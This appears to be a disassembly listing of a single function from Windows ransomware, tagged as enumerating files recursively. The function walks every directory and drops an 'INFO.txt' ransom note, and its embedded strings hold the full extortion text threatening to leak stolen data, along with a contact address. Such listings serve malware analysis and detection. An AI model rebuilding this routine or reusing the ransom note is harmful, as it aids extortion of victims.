Function at 0x414140
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4a4c58
mov eax, dword fs:[0]
push eax
sub esp, 0x3cc
mov eax, dword [0x4d8114]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov edi, dword [ebp + 8]
mov dword [ebp - 0x398], edi
mov dword [ebp - 0x378], 0
mov dword [ebp - 4], 2
lea ecx, [ebp - 0x44]
xor eax, eax
mov dword [ebp - 0x34], 0
mov word [ebp - 0x44], ax
mov eax, dword [ebp + 0x34]
add eax, 0x1e6
mov dword [ebp - 0x30], 7
push eax
mov dword [ebp - 0x378], 1
call fcn.004089f0
push 0x1e6
push str.______________Your_data_is_stolen_and_encrypted._______n_nYou_have_to_pay_us_to_decrypt_your_files.Contact_us_to_Decrypt_your_file_nIf_you_dont_pay_the_ransom__the_data_will_be_published_on_our_TOR_darknet_sites._nKeep_in_mind_that_once_your_data_appears_on_our_leak_site__it_could_be_bought_by_your_competitors_at_any_second__so_dont_hesitate_for_a_long_time._nThe_sooner_you_pay_the_ransom__the_sooner_your_company_will_be_safe._nDo_not_trust_intermediaries._n_nSend_email:
lea ecx, [ebp - 0x44]
call fcn.00408ae0
cmp dword [ebp + 0x38], 8
lea eax, [ebp + 0x24]
push dword [ebp + 0x34]
cmovae eax, dword [ebp + 0x24]
lea ecx, [ebp - 0x44]
push eax
call fcn.00408ae0
push 0x402
push str._nBackup_Email:_Howardbusiness_onionmail.org_n_n_What_guarantee_is_there_that_we_wont_cheat_you__nWe_are_the_oldest_ransomware_affiliate_program_on_the_planet__nothing_is_more_important_than_our_reputation._nWe_are_not_a_politically_motivated_group_and_we_want_nothing_more_than_money._nIf_you_pay__we_will_provide_you_with_decryption_software_and_destroy_the_stolen_data._nAfter_you_pay_the_ransom__you_will_quickly_make_even_more_money._nTreat_this_situation_simply_as_a_paid_training_for_your_system_administrators__because_it_is_due_to_your_corporate_network_not_being_properly_configured_that_we_were_able_to_attack_you._nOur_pentest_services_should_be_paid_just_like_you_pay_the_salaries_of_your_system_administrators._n_Get_over_it_and_pay_for_it._nIf_we_dont_give_you_a_decryptor_or_delete_your_data_after_you_pay__no_one_will_pay_us_in_the_future._n__n_n_______You_need_to_contact_usand_decrypt_one_file_for_free_on__with_your_personal_ID_n_n_______________________________________________________________n_______Your_personal_ID_:
lea ecx, [ebp - 0x44]
call fcn.00408ae0
mov dword [ebp - 0x3a4], 0
xor ecx, ecx
mov dword [ebp - 0x3a0], 0
mov dword [ebp - 0x378], 3
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x3b4], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x3a4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 3
lea eax, [ebp + 0xc]
cmp dword [ebp + 0x20], 8
lea ecx, [ebp - 0x3b4]
push dword [ebp + 0x1c]
cmovae eax, dword [ebp + 0xc]
push eax
call fcn.00408ae0
mov dword [ebp - 0x3bc], 0
xor ecx, ecx
mov dword [ebp - 0x3b8], 0
mov dword [ebp - 0x378], 7
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x3cc], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x3bc], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
push 0xb1d
push 0x4c16a8
lea ecx, [ebp - 0x3cc]
mov byte [ebp - 4], 4
call fcn.00408ae0
mov dword [ebp - 0x1c], 0
xor ecx, ecx
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x378], 0xf
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x2c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 5
lea eax, [ebp + 0xc]
cmp dword [ebp + 0x20], 8
lea ecx, [ebp - 0x2c]
push dword [ebp + 0x1c]
cmovae eax, dword [ebp + 0xc]
push eax
call fcn.00408ae0
mov dword [ebp - 0x384], 0
xor ecx, ecx
mov dword [ebp - 0x380], 0
mov dword [ebp - 0x378], 0x1f
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x394], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x384], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
push 1
push 0x4c16a4
lea ecx, [ebp - 0x394]
mov byte [ebp - 4], 6
call fcn.00408ae0
mov dword [ebp - 0x64], 0
xor ecx, ecx
mov dword [ebp - 0x60], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x74], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x64], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 8
mov edx, dword [ebp - 0x380]
cmp edx, 8
jb 0x4143e7
mov ecx, dword [ebp - 0x394]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4143dd
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414c16
push edx
push ecx
call fcn.00462702
add esp, 8
xor eax, eax
mov dword [ebp - 0x384], 0
mov dword [ebp - 0x380], 7
mov word [ebp - 0x394], ax
mov byte [ebp - 4], 9
mov edx, dword [ebp - 0x18]
cmp edx, 8
jb 0x414442
mov ecx, dword [ebp - 0x2c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x414438
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414c1b
push edx
push ecx
call fcn.00462702
add esp, 8
xor eax, eax
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 7
mov word [ebp - 0x2c], ax
mov byte [ebp - 4], 0xa
mov edx, dword [ebp - 0x3b8]
cmp edx, 8
jb 0x41449a
mov ecx, dword [ebp - 0x3cc]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x414490
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414c20
push edx
push ecx
call fcn.00462702
add esp, 8
xor eax, eax
mov dword [ebp - 0x3bc], 0
mov dword [ebp - 0x3b8], 7
mov word [ebp - 0x3cc], ax
mov byte [ebp - 4], 0xb
mov edx, dword [ebp - 0x3a0]
cmp edx, 8
jb 0x4144fb
mov ecx, dword [ebp - 0x3b4]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4144f1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414c25
push edx
push ecx
call fcn.00462702
add esp, 8
xor eax, eax
mov dword [ebp - 0x3a4], 0
mov dword [ebp - 0x3a0], 7
mov word [ebp - 0x3b4], ax
mov byte [ebp - 4], 0xc
mov edx, dword [ebp - 0x30]
cmp edx, 8
jb 0x414556
mov ecx, dword [ebp - 0x44]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41454c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414c2a
push edx
push ecx
call fcn.00462702
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
movq qword [ebp - 0x20], xmm0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
push 0x4c1610
mov edx, edi
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x5c]
call fcn.004101d0
add esp, 4
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x374]
cmp dword [ebp - 0x48], 8
lea eax, [ebp - 0x5c]
push ecx
cmovae eax, dword [ebp - 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x37c], eax
cmp eax, 0xffffffff
jne 0x4145c6
add dword [0x4e1908], 1
adc dword [0x4e190c], 0
mov esi, 0x3e
nop dword [eax + eax]
xor eax, eax
mov dword [ebp - 0x39c], esi
mov word [ebp - 0x44], ax
lea eax, [ebp - 0x348]
mov dword [ebp - 0x34], 0
lea edx, [eax + 2]
mov dword [ebp - 0x30], 7
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4145f3
sub eax, edx
lea ecx, [ebp - 0x44]
sar eax, 1
push eax
lea eax, [ebp - 0x348]
push eax
call fcn.0040d030
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x394]
xor eax, eax
mov dword [ebp - 0x384], 0
mov word [ebp - 0x394], ax
or esi, 0x40
mov eax, dword [edi + 0x10]
inc eax
mov dword [ebp - 0x380], 7
push eax
mov dword [ebp - 0x378], esi
call fcn.004089f0
cmp dword [edi + 0x14], 8
mov eax, edi
jb 0x414656
mov eax, dword [edi]
push dword [edi + 0x10]
lea ecx, [ebp - 0x394]
push eax
call fcn.00408ae0
push 1
push 0x4c0c50
lea ecx, [ebp - 0x394]
call fcn.00408ae0
lea eax, [ebp - 0x44]
push eax
lea edx, [ebp - 0x394]
lea ecx, [ebp - 0x3b4]
call fcn.00413580
mov esi, eax
add esp, 4
lea eax, [ebp - 0x5c]
cmp eax, esi
je 0x4146c3
mov ecx, eax
call fcn.00404fd0
movups xmm0, xmmword [esi]
xor eax, eax
movups xmmword [ebp - 0x5c], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [ebp - 0x4c], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
mov word [esi], ax
mov edx, dword [ebp - 0x3a0]
cmp edx, 8
jb 0x414703
mov ecx, dword [ebp - 0x3b4]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4146f9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414c2f
push edx
push ecx
call fcn.00462702
add esp, 8
mov esi, dword [ebp - 0x39c]
xor eax, eax
mov byte [ebp - 4], 0x10
mov edx, dword [ebp - 0x380]
mov dword [ebp - 0x3a4], 0
mov dword [ebp - 0x3a0], 7
mov word [ebp - 0x3b4], ax
mov dword [ebp - 0x378], esi
cmp edx, 8
jb 0x414770
mov ecx, dword [ebp - 0x394]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x414766
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414c34
push edx
push ecx
call fcn.00462702
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0xf
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x384], 0
mov dword [ebp - 0x380], 7
mov word [ebp - 0x394], ax
cmp edx, 8
jb 0x4147cb
mov ecx, dword [ebp - 0x44]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4147c1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414c39
push edx
push ecx
call fcn.00462702
add esp, 8
test byte [ebp - 0x374], 0x10
jne 0x4147e0
mov dword [ebp - 4], 0xf
jmp 0x4149e7
push 0x4c1528
lea eax, [ebp - 0x348]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x4149e7
push 0x4c152c
lea eax, [ebp - 0x348]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x4149e7
push str.INFO.txt
lea edx, [ebp - 0x5c]
lea ecx, [ebp - 0x44]
call fcn.004101d0
add esp, 4
push 0xb0
lea eax, [ebp - 0x124]
mov byte [ebp - 4], 0x15
push 0
push eax
call fcn.0047a450
cmp dword [ebp - 0x30], 8
lea eax, [ebp - 0x44]
lea ecx, [ebp - 0x124]
cmovae eax, dword [ebp - 0x44]
add esp, 4
push 2
push eax
call fcn.00409290
mov eax, dword [ebp - 0x124]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.virtual_0], vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov eax, dword [ebp - 0x124]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x128], eax
mov byte [ebp - 4], 0x16
lea edx, [ebp - 0x74]
cmp dword [ebp - 0x60], 8
lea ecx, [ebp - 0x124]
push dword [ebp - 0x64]
cmovae edx, dword [ebp - 0x74]
call fcn.00427220
add esp, 4
lea ecx, [ebp - 0x120]
call fcn.0040d700
test eax, eax
jne 0x4148db
mov eax, dword [ebp - 0x124]
lea ecx, [ebp - 0x124]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403870
mov eax, dword [ebp - 0x124]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.virtual_0], vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov eax, dword [ebp - 0x124]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x128], eax
lea ecx, [ebp - 0x120]
call fcn.00409d60
mov eax, dword [ebp - 0x124]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__.virtual_0], vtable.std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__.0
mov eax, dword [ebp - 0x124]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0x128], eax
lea eax, [ebp - 0xbc]
mov byte [ebp - 4], 0x17
push eax
mov dword [ebp - 0xbc], vtable.std::ios_base.0
call fcn.0045fdad
add esp, 4
mov dword [ebp - 4], 0x14
jmp 0x414973
mov eax, dword [ebp - 0x1c]
lea ecx, [ebp - 0x5c]
push ecx
cmp dword [ebp - 0x18], eax
je 0x4149a0
mov ecx, eax
call fcn.00408b50
add dword [ebp - 0x1c], 0x18
jmp 0x4149a9
push eax
lea ecx, [ebp - 0x20]
call fcn.00413830
mov byte [ebp - 4], 0xf
mov edx, dword [ebp - 0x30]
cmp edx, 8
jb 0x4149e7
mov ecx, dword [ebp - 0x44]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4149dd
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414c3e
push edx
push ecx
call fcn.00462702
add esp, 8
lea eax, [ebp - 0x374]
push eax
push dword [ebp - 0x37c]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x4145d0
push dword [ebp - 0x37c]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov esi, dword [ebp - 0x20]
mov edi, dword [ebp - 0x1c]
cmp esi, edi
je 0x414a50
sub esp, 0x18
lea eax, [ebp + 0x24]
mov ecx, esp
mov dword [ebp - 0x39c], esp
push eax
call fcn.00408b50
sub esp, 0x18
mov byte [ebp - 4], 0x19
lea eax, [ebp + 0xc]
mov ecx, esp
push eax
call fcn.00408b50
push esi
mov byte [ebp - 4], 0xf
call fcn.00414140
add esp, 0x34
add esi, 0x18
jmp 0x414a14
mov edx, dword [ebp - 0x48]
cmp edx, 8
jb 0x414a8a
mov ecx, dword [ebp - 0x5c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x414a80
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414c43
push edx
push ecx
call fcn.00462702
add esp, 8
mov ecx, dword [ebp - 0x20]
xor eax, eax
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], 7
mov word [ebp - 0x5c], ax
test ecx, ecx
je 0x414af8
mov edx, dword [ebp - 0x1c]
push ecx
call fcn.00413a40
mov ecx, dword [ebp - 0x18]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x20]
add esp, 4
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [eax + eax*2]
mov eax, esi
shl ecx, 3
cmp ecx, 0x1000
jb 0x414aee
mov esi, dword [esi - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414c48
push ecx
push esi
call fcn.00462702
add esp, 8
mov edx, dword [ebp - 0x60]
cmp edx, 8
jb 0x414b62
mov ecx, dword [ebp - 0x74]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x414b58
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414c4d
jmp 0x414b58
push edx
push ecx
call fcn.00462702
add esp, 8
mov edx, dword [ebp + 0x20]
xor eax, eax
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x60], 7
mov word [ebp - 0x74], ax
cmp edx, 8
jb 0x414bb0
mov ecx, dword [ebp + 0xc]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x414ba6
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414c52
push edx
push ecx
call fcn.00462702
add esp, 8
mov edx, dword [ebp + 0x38]
xor eax, eax
mov dword [ebp + 0x1c], 0
mov dword [ebp + 0x20], 7
mov word [ebp + 0xc], ax
cmp edx, 8
jb 0x414bfa
mov ecx, dword [ebp + 0x24]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x414bf0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414c57
push edx
push ecx
call fcn.00462702
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0046219f
mov esp, ebp
pop ebp
ret
call fcn.0048486d
call fcn.0048486d
call fcn.0048486d
call fcn.0048486d
call fcn.0048486d
call fcn.0048486d
call fcn.0048486d
call fcn.0048486d
call fcn.0048486d
call fcn.0048486d
call fcn.0048486d
call fcn.0048486d
call fcn.0048486d
call fcn.0048486d
int3